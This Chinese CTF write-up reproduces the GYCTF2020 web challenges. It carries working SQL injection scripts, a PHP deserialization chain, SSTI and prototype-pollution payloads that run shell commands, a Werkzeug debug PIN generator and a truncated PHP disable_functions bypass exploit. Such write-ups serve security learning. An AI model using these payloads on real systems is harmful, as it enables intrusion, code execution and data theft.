GYCTF2020 web 复现

这个比赛应该不会有2021了吧?

Day1

简单的招聘系统

对用户名进行注入,登录后看回显即可

payload:
'+(select conv(substr(hex((select GROUP_CONCAT(flaaag) from flag)),1,10),16,10))+'

得到后转16进制再转字符串即是flag

Ezupload

这题也是裸奔,直接传个一句话上去/readflag就行了

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
# flag在fl4g里
# union select < > = like between
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

这题过滤了select,也看不出可以堆叠就不知道怎么整,没想到那个f14g是列名。至于其它的like,=,>,<被过滤都是小问题,一个regexp就能绕过

看了wp才知道还有这种操作
if(length(database()) regexp 4,sleep(3),1)
好好想想确实,返回的既然是一个数确实没问题
不过这个就真的没想到
if(ascii(substr(fl4g,1,1)) = 102 ,sleep(3),1)
居然可以直接用列名,学习了学习了,以后盲注连select都省了hhh

easyphp

这题挺有意思的,可惜做的时间太晚了,8点多才开始做,出flag时已经11点了有可惜

进入提示有后门,狗妈i了i了
于是扫一下,发现www.zip,下载得到源码

先看login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>

可以看到又是把select过滤了,而且进到lib里

1
2
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
1
2
3
4
5
6
7
8
9
10
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();

可以看到使用了预处理,也就是就算有办法绕过但在预处理的作用下也无法注入

不过既然题目提示了后门,那应该就不是通过这里去注入。于是去看看其它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

update.php提示是一个未完成的页面,应该就是后门

1
2
3
4
5
6
7
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

update()中有个反序列化,八成是序列化的题了,再跟下去

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

getNewInfo()中将实例化的info类给序列化,然后用safe()处理了一下序列化后的字符串

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

当时第一眼看safe(),就只是觉得是单纯的防sql,但没想到是这题的突破点

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

跟进到Info类中,__call()中使用了login(),很容易就能想到触发这里然后让CtrlCase为dbCtrl类,这样就能执行任意sql了。但CtrlCase并无法控制

这时又往上翻,看到了User类中的__destruct()

1
2
3
public function __destruct(){
return file_get_contents($this->nickname);//危
}

就想能不能触发这个,但总觉得不会是这里于是又找了一下其它链

1
2
3
4
5
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

User类中还有一个__toString(),里面调用的update()正好是Info类中没有的,那可以让nickname为Info类去触发__call()
然后就是该怎么触发__toString()了,在UpdateHelper类中看到

1
2
3
4
public function __destruct()
{
echo $this->sql;
}

__destruct()sql作为字符串输出,那又是要将sql为User类
最后又回到最初的问题,要怎么控制反序列化

这时再看了一次safe(),发现里面过滤了\,当时没细看,以为是把\替代为空,就想着能不能利用这里,把转义的\"\去掉。但测试了一下大失所望

1
2
3
4
5
6
<?php
class A{
public $a="\"";
}
$a =new A();
echo serialize($a);

随便整一个类输出一下

发现反序列化时并没用转义,而是先匹配一个",再匹配等长度的字符串,最后再匹配一个"。字符串中就算带有"也不会作为结束的"进行匹配

于是又回去看了一眼safe(),发现是替代为hacker,突然就明白了。这里要利用safe(),将短于hacker的字符串扩增长度为6,以匹配长度。然后用"绕出,控制下一个参数。至于原本在后面的,用}结尾就不会再往后解析
一开始尝试的是直接利用User类中的__destruct(),但发现flag被过滤了,于是就走另一条路
UpdateHelper:__destruct() -> User:__toString() -> Info:__call() -> dbCtrl:login()
然后利用* flag替换为hacker补全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

class User
{
public $id;
public $age=null;
public $nickname=null;
public function __construct(){
$this->nickname = new Info();
$this->age = "select a,1 from user where a!=? limit 1";
}
public function __toString()
{
$this->nickname->update($this->age);
}
}

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct(){
$sql = new User();
}
public function __destruct()
{
echo $this->sql;
}
}

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password = 1;
public $mysqli;
public $token;

}

$info = new Info();

$info->age = '';
$info->nickname = '';
$info->CtrlCase = new UpdateHelper();
$info->CtrlCase->sql = new User();
$info->CtrlCase->sql->nickname = new Info();
$info->CtrlCase->sql->age = "select password,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=? or 1=1 limit 1";
$info->CtrlCase->sql->nickname->CtrlCase = new dbCtrl();

echo serialize($info)

$info->age = '';
$info->nickname = 'flag**********************************************************************************************";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:92:"select password,"c4ca4238a0b923820dcc509a6f75849b" from user where username=? or 1=1 limit 1";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";N;s:8:"password";i:1;s:6:"mysqli";N;s:5:"token";N;}}}}}';

$e = safe(serialize($info));
echo $e;
unserialize($e);

获得密码,解密为glzjin

登录得到flag

一开始用的是Info中的nickname导致这里

$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);

作为字符串使用出了错(突然想到是不是可以利用这里去触发User类的__toString()),搞了好久,改用CtrlCase就可以了。细节上还是要多注意

Day2

第二日为sql专场

easysqli_copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

PDO注入,之前因为整hgame过PDO的问题,这里一看用了gbk就知道是宽字节注入
从宽字节注入认识PDO的原理和正确使用
而且并没有设置PDO::MYSQL_ATTR_MULTI_STATEMENTSfalse,那直接预处理,过滤基本可以无视掉

直接正常的盲注语句,转为16进制后套入
1%df';SET @sql=concat(char(SQL));PREPARE kaze from @sql;EXECUTE kaze;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding:utf8 -*-  
import requests
import re
import time

url = r'http://36409258b50b4e7b926962b4d73e229154a22bab28ea429a.changame.ichunqiu.com/?id='


l1 = 0
r1 = 100

while(l1<=r1):
mid1 = (l1 + r1)/2
# payload = "select sleep(((select length(group_concat(column_name)) from information_schema.columns where table_name=0x7461626c6531)="+str(mid1)+")*9);"
payload = "select sleep(((select length(group_concat(fllllll4g)) from table1)="+str(mid1)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
# payload = "select sleep(((select length(group_concat(column_name)) from information_schema.columns where table_name=0x7461626c6531)>"+str(mid1)+")*9);"
payload = "select sleep(((select length(group_concat(fllllll4g)) from table1)>"+str(mid1)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
r1 = mid1 - 1
else:
l1 = mid1 + 1
else:
break

print
print str(mid1)
k = ''

for j in range(28,42):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
# payload = "select sleep((ord(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7461626c6531),"+str(j+1)+",1))="+str(mid2)+")*9);"
payload = "select sleep((ord(mid((select group_concat(fllllll4g) from table1),"+str(j+1)+",1))="+str(mid2)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
# payload = "select sleep((ord(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7461626c6531),"+str(j+1)+",1))>"+str(mid2)+")*9);"
payload = "select sleep((ord(mid((select group_concat(fllllll4g) from table1),"+str(j+1)+",1))>"+str(mid2)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
r2 = mid2 - 1
else:
l2 = mid2 + 1
else:
break
print
k = k+chr(mid2)
print k

# balabala,eihey,fllllll4g,bbb
# flag{48143b11-440f-438e-8cfa-2afe386790a9}

不过一开始不知道为什么跑不动表名,不过长度可以跑。确认长度是6,库中只有一个table1表后跑列值都没问题(为啥?

blacklist

这题看起来像强网杯的题,然而把预处理也过滤了,绝望.jpg
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

0';show tables;

可以看到flag的表名FlagHere

后面又是奇淫技巧了,mysql中有handler这个关键字
mysql查询语句-handler
可以通过这个关键字,能使用多行sql以及在知道表名的情况下,不用select直接读列
handler a open;handler a read first; 读第一行
handler a open;handler a read next; 读下一行

于是payload就是
0';handler FlagHere open;handler FlagHere read first;

Ezsqli

BUU灵魂前端x

这题很难受,inor被过滤,有root权限但information_schema库和mysql.innodb_table_stats表都读不了。union.*select,join被过滤,用不了无列名注入

当时搜集信息时发现是有sys库的权限的,但知识不足没往这个方向想
sys中有这两个表x$schema_flattened_keys,schema_table_statistics可以获得表名信息,不过发现sys库中带有table的库名大多都会保存表名信息,以后可以多利用利用,不过需要mysql5.7以上
有这个表,通过盲注就可以注出表名了

1
2
1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>30))*999*pow(999,102)
1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),1,1))=96)))*999*pow(999,102)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding:utf8 -*-  
import requests

url = r'http://23e8f874-c41f-4e92-9dba-3804e07c9676.node3.buuoj.cn/index.php'


l1 = 0
r1 = 100

while(l1<=r1):
mid1 = (l1 + r1)/2
payload = "1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())="+str(mid1)+"))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
payload = "1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>"+str(mid1)+"))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
r1 = mid1 - 1
else:
l1 = mid1 + 1
else:
break

print
print str(mid1)
k = ''

for j in range(mid1):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
payload = "1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),"+str(j+1)+",1))="+str(mid2)+")))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
payload = "1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),"+str(j+1)+",1))>"+str(mid2)+")))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
r2 = mid2 - 1
else:
l2 = mid2 + 1
else:
break
print
k = k+chr(mid2)
print k

# f1aq_1s_h3r3_@hhhh,users233383333333333

然后就是无列名注入了,这里继续是奇淫技巧
我们可以通过这样去比较两个检索结果,mysql中会对其一个个字段值进行比较并返回真假

于是测试了一下

1
2
3
4
5
6
7
8
9
10
11
12
select ((select 1,2) < (select 1,2))
0
select ((select 1,2) = (select '1',2))
1
select ((select 1,2) > (select '!',2))
1
select ((select 1,2) > (select 'a',2))
1
select ((select 1,2) > (select 0,3))
0
select ((select 'a',2) = (select 'A',2))
1

可以看到,当比较数字与其它时,都会转为int来比较。同时是按顺序比较,第二个值的比较结果并不会影响第一个值的比较结果。还有同mysql中许多比较字符的函数一样,不区分大小写。当然最重要的是要列数相等
可以使用binary去将字符串转为二进制这样就可以区分大小写,但过滤了in时就用不了
可以换使用concat("a",CAST(0 AS JSON)),CAST(0 AS JSON)出来的值为二进制字符串,concat连接后整个字符串都为二进制
测试一下

1
2
3
4
SELECT (concat("a",CAST(0 AS JSON)) = concat("A",CAST(0 AS JSON)))
0
SELECT (concat("a",CAST(0 AS JSON)) = concat("a",CAST(0 AS JSON)))
1

确实可以区分大小写

于是合并一下,并改成查询就是
1 && (select((select * from table) > (select 1,concat("!",cast(0 as json)))))

原题列数or被过滤用不了order by,可以用group by来得出列数。BUU上吧.+by过滤了,可以改用这样
1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,1)))
两列时error,其它都返回false

然后BUU上又把.+limit给过滤了,不过既然只有一行就不limit 1
本来应该是这样子的
1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,concat("!",cast(0 as json)))))
但不知道BUU的环境搞什么鬼,cast(0 as json)用不了,直接cast(1 as json)都false,正常应该是Nu1L才对。不能用就算了,反正BUU的flag都是小写(面向BUU注入x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding:utf8 -*-  
import requests

url = r'http://23e8f874-c41f-4e92-9dba-3804e07c9676.node3.buuoj.cn/index.php'
flag = "FLAG{CAE1F318-2684-4607-B254-74B06DE155AB}"

for i in range(100):
for j in range(32,127):
if j != 34 and j!= 92:
payload = "1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,\""+flag+chr(j)+"\")))"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if http.status_code == 200:
if "Nu1L" not in http.text:
break

payload = "1 && (select((select * from f1ag_1s_h3r3_hhhhh) = (select 1,\""+flag+chr(j)+"\")))"
data = {"id":payload}
http = requests.post(url,data=data)
if "Nu1L" in http.text:
flag += chr(j)
break
else:
flag += chr(j-1)

print
print flag
print


print flag.lower()

要命的是正好跑到最后正好是by被过滤了,整了好久

Day3

最后一天有点累就没怎么打

Flaskapp

这题考的是PIN码,不过实际上好像并没用过滤到位,导致还是能直接SSTI

关于python的PIN码
从一道ctf题谈谈flask开启debug模式存在的安全问题
简单来说就是能够通过搜集,获得生成PIN码的元素,并且在debug开启下可以通过PIN码通过认证进行RCE

这题因为是Flask所以当时用的是{ {config.from_pyfile()} }去读取文件,没想到这个的权限不足以读取/etc/passwd,但通过其它方式可以

这是大佬们给出的payload
{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('file', 'r').read() }}{ % endif %}{ % endfor %}
(这里由于hexo的问题,需要删掉{和%间的空格)
原来SSTI还能这么操作,学到了学到了

通过这样读取这几个文件

1
2
3
/sys/class/net/eth0/address 	获得mac地址
/etc/passwd 获得用户名
/proc/self/cgroup 获得machine-id

这里要注意的是docker下从/etc/machine-id得到的machine-id是算不正确PIN的
然后报错页面获得路径
/usr/local/lib/python3.7/site-packages/flask/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain

probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485410388583',# str(uuid.getnode()), /sys/class/net/ens33/address , print(0x0242ac120002)
'aedaaf24655d2a9c5385bc3a9b1eb97f5c4f81d2d41a1ab0a986c8d0e3d0389c'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

脚本填入对应的值,跑一下就出了

然后进入debug页面(就解码的页面随便输个错误的base64编码值),用PIN码进入python shell

不过os.system()被过滤,可以用os.popen()代替扫目录

读flag

当然更简单的就是

1
2
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls /').read()}}
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /this_is_the_fla\g.txt').read()}}

fla\g绕过flag的过滤

现在想想当时明明知道是python3为什么一直在用python2找能用的模块(傻了

ezExpress

express,又是原型链
进入提示要admin账号,那自然是不能注册为admin的
注册个其他账号进入,查看源码发现www.zip,拿下来

/route/index.js中用了merge()clone(),必是原型链了

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

往下找到clone()的位置

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

需要admin账号才能用到clone()

于是去到/login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
1
2
3
4
5
6
7
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题,于是测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script type="text/javascript">
var arr = new Array();
for(var i = 0;i < 26;i++){
arr[i] = new Array();
}
for(var i = 0;i < 65536;i++){
j = String.fromCharCode(i).toUpperCase();
if(j.length == 1){
c = j.charCodeAt(0);
if(c>64&&c<91){
l = arr[c-65].length;
arr[c-65][l] = i;
}
}
}
for(var i = 0;i < 26;i++){
document.write("<p>"+String.fromCharCode(i+65)+":</p>");
document.write("<p>");
for(j = 0;j < arr[i].length;j++){
document.write(arr[i][j]+",");
}
document.write("</p>");
}
</script>
</body>
</html>

可以看到结果中

1
2
3
4
I:
73,105,305,
S:
83,115,383,

I和S都有3个值能够toUpperCase()后为自身,除了大小写外还有其它toUpperCase()后能为I和S。那正好利用I的第三个值去绕过正则检测并在toUpperCase()后为I
当然toUpperCase()有转码的问题toLowerCase()也有,可以改一下去测试(不过不要用edge测)

能登入为admin账号后,就该开始找要污染的参数

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的

res.outputFunctionName=undefined;

也就是可以通过污染outputFunctionName进行SSTI

于是抓/action的包,Content-Type设为application/json
通过报错查到项目路径

于是将flag写入到/app/public/flag

Payload:
{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/flag');var _tmp2"}}

然后访问/info后再去/flag拿到flag

除此之外还能直接return在访问/info返回flag文件(需要同步执行
{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

官方的wp给的是反弹shell,但怎样都成功不了懵逼

easy_thinking

看题名感觉就是TP的题,居然是TP6的漏洞,果然新出的版本问题多

随便访问一下可以看到是TP6.0

然后扫一下发现又是在www.zip源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}

一开始还以为又是sql注入,不过看了search的源码后,发现根本没用到数据库。倒是把搜索值写入了session中,于是查一下tp6关于session的漏洞

看到这篇
ThinkPHP6 任意文件操作漏洞分析
我们可以控制PHPSESSID为32位长度(包含后缀名)去控制session文件名,然后利用逻辑上的漏洞往session中写入一个shell,这样就可以通过session文件执行一句话

于是像这样在登录处构造PHPSESSID

在搜索处写入php代码

发现system()不能用,于是查看disable_functions

执行命令的函数基本被过滤,虽然putenv没被过滤,但error_logmail都被过滤了
而官方wp给出的gnupg扩展BUU并没有(就是用gnupg_init(),其它相同)

于是先看看flag在哪

可以看到要用readflag去读flag

接着四处寻找找到了这里
exploits

修改一下要执行的命令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
